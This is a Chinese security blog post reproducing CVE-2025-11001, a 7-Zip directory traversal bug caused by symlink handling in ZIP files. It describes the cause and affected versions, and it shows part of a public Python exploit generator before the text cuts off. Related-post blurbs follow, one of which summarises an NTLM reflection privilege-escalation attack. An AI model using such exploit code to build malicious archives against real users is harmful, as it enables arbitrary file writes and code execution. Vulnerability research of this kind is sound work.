【漏洞复现】7-Zip目录穿越漏洞(CVE-2025-11001)

复现:7-Zip目录穿越漏洞(CVE-2025-11001)

声明:本文仅限合法授权环境的安全研究与教学,禁止任何非法利用,违者后果自负,作者概不负责。

漏洞介绍:

CVE-2025-11001 是 2025 年 10 月公开的高危目录穿越漏洞,存在于开源压缩软件 7-Zip(Windows 版)对 ZIP 包内符号链接的处理逻辑中。攻击者通过构造包含恶意符号链接的 ZIP 文件,可在用户解压时把任意文件写入预期目录之外的任意位置(如启动项、系统目录),进而实现远程代码执行。

漏洞成因:

  1. 路径类型误判:Linux 风格绝对路径检查逻辑对 Windows 路径(如 C:…)失效,把绝对路径错标为“相对路径”。
  2. 路径拼接绕过:被误判的“相对”符号链接会被追加 ZIP 内部目录前缀,从而绕过 IsSafePath 检查。
  3. 目录检查缺失:最终的危险路径过滤只对“目录”项生效,符号链接文件跳过该检查。

利用条件:

  • 仅影响 Windows 平台,且需管理员/服务账户或已开启“开发者模式”的系统。
  • 需要用户手动解压攻击者发来的恶意 ZIP 文件(用户交互)。
  • 影响版本:7-Zip v21.02 – v24.09;v25.00 及之后版本已修复。

危害评分 :

CVSS 3.x 基础分 7.0(高危),可利用性评级为“高”,POC 已公开,目前尚无在野利用报告。

复现过程:

Github上有利用脚本,可一键生成zip

GitHub地址:GitHub - pacbypass/CVE-2025-11001: Exploit for CVE-2025-11001 or CVE-2025-11002

import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    print(f"[INFO] 添加目录条目: {
     
     arcname}")
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')
    print(f"[SUCCESS] 目录条目添加成功: {
     
     arcname}")

def add_symlink(z, arcname, target):
    print(f"[INFO] 添加符号链接条目: {
     
     arcname} -> {
     
     target}")
    zi = zipfile.ZipInfo
web安全之目录穿越 目录穿越(又称目录遍历diretory traversal/path traversal)是通过目录控制序列 ../ 或者文件绝对路径来访问存储在文件系统上的任意文件和目录的一种漏洞。 阅读详情

相关推荐

7-Zip目录穿越漏洞CVE-2025-11001:原理剖析与防御实践

目录穿越漏洞是软件安全领域常见的高危风险,其核心原理在于程序未对用户输入的文件路径进行充分验证和规范化处理,导致攻击者可通过构造特殊路径突破预期的访问边界。这类漏洞常利用路径遍历序列(如../)或非标准分隔符,欺骗解压软件将文件释放到系统关键目录,从而为后续恶意行为铺平道路。从技术价值看,理解路径遍历机制有助于提升软件安全开发意识,强化输入验证和最小权限原则。在应用场景上,压缩软件、文件上传功能等涉及路径解析的模块均可能受此威胁。本文以近期披露的7-Zip漏洞CVE-2025-11001为例,深入剖析其利用

weixin_28568819的博客 241

Java代码审计安全篇-目录穿越漏洞

本文章参考qax的网络安全java代码审计,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误

m0_63138919的博客 1645

CVE-2025-33073 NTLM反射 权限提升漏洞复现

CVE-2025-33073是一个高危Windows SMB客户端漏洞,可通过NTLM/Kerberos认证反射实现域内SYSTEM权限提权。攻击者只需普通域账号,在满足目标主机未强制SMB签名且域DNS可被篡改的条件下,即可通过构造特殊DNS记录(如server11UWhRC...指向攻击机)、启动SMB中继服务(ntlmrelayx.py)和触发NTLM认证(PetitPotam)三个步骤,将认证反射回目标主机自身,最终获取SYSTEM权限。该漏洞影响所有未安装2025年6月补丁且未启用SMB签名的域内

渗透之路,攻防之间皆学问 4867

ROS2+MoveIt2+Gazebo仿真实战:从零搭建六轴机械臂控制闭环

本文详细介绍了如何从零搭建一个完整的ROS2+MoveIt2+Gazebo六轴机械臂仿真控制闭环。通过手写URDF模型、配置MoveIt2运动规划、集成Gazebo物理仿真与ROS2 Control控制器,最终实现RViz中规划轨迹、Gazebo中同步执行的完整数字孪生验证平台,为机器人算法开发和硬件验证提供低成本、高效的仿真解决方案。

weixin_29093017的博客 478

ADS2020实战:手把手教你搭建交叉耦合VCO并分析相位噪声(附避坑指南)

本文以ADS2020软件为例,提供了交叉耦合压控振荡器(VCO)从原理图搭建到相位噪声分析的完整实战指南。详细讲解了核心器件选择、谐波平衡与瞬态仿真的关键设置,并重点剖析了相位噪声的仿真方法与优化方向。文中附有详细的避坑指南,帮助初学者和工程师高效完成VCO设计与仿真验证,避免常见错误。

p5l2m9n4o6q的博客 275

Python遥感图像处理指南(2)-卫星影像分析MNDWI提取

在第一篇文章中,我们使用了我们导入的软件包中已定义的函数,如 rasterio 中的 open 和 read 以及 matplotlib 中的 imshow。现在,我们可以编写自己的函数了。函数是一段代码,它接收一些参数作为输入并返回输出(经过一些计算),可以在代码中多次重复使用,也可以被其他代码重用。在 Python 中定义一个新函数非常简单。return v在此语法示例中,arg1和arg2强制参数,应该传递给函数,否则会引发错误,而arg3是一个可选参数,如果是,则假定默认值 1从函数调用中省略。

gis收藏家的博客 1569

在Ubuntu 22.04 LTS上搞定Intel Quartus Prime 22.1和QuestaSim:一份保姆级的安装与License配置指南

本文提供在Ubuntu 22.04 LTS上安装和配置Intel Quartus Prime 22.1与QuestaSim的详细指南。涵盖依赖安装、环境变量设置、License配置及常见问题解决,帮助FPGA开发者快速搭建稳定的开发环境。特别针对Ubuntu系统优化,确保工具链高效运行。

weixin_29208077的博客 314

SAP DRC 是什么?一文读懂 SAP Document and Reporting Compliance 的定位、架构与落地案例

把视线拉长,会发现SAP DRC的价值并不仅是用来交差的工具。它更像是企业在全球化经营中建设的一套公共底座:既能以最低的重复成本去应对各国不断演进的监管要求,也能为财务数字化与供应链协同提供可信数据回路。依托本地与云的分层职责、与的生态联动、以及按国家不断更新的任务目录,企业可以将合规变成一种标准化、工程化、可持续运营的能力。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1639

Ceres&OpenCV 单目相机标定(论文复现)

Ceres&OpenCV 单目相机标定(论文复现)

dayuhaitang1的博客 360

星敏感器:卫星姿态测量的“星空导航仪”

在卫星、航天器和深空探测器的姿态控制系统中,星敏感器(Star Tracker) 是最精确的姿态测量设备之一。它通过识别恒星的位置,计算出航天器在惯性空间中的三轴姿态,精度可达 角秒级(arcsecond),是许多高精度任务(如遥感、天文观测、深空探测)的核心传感器。

ScilogyHunter的博客 3667

【Linux0.11代码分析】之 系列文章链接汇总(全)

【Linux0.11代码分析】00 之 系列文章链接汇总(全)

|~~~热爱生活、努力学习的小伙汁~~~| 1442

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

上一篇: 【日常小记】制作Kali口袋系统
下一篇: 【CTFWP】萌新_密码1-4
Long._.L
Long._.L 新星创作者: 信息安全技术领域 新星创作者: 信息安全技术领域
博客等级 码龄2年 1万+粉丝 170原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值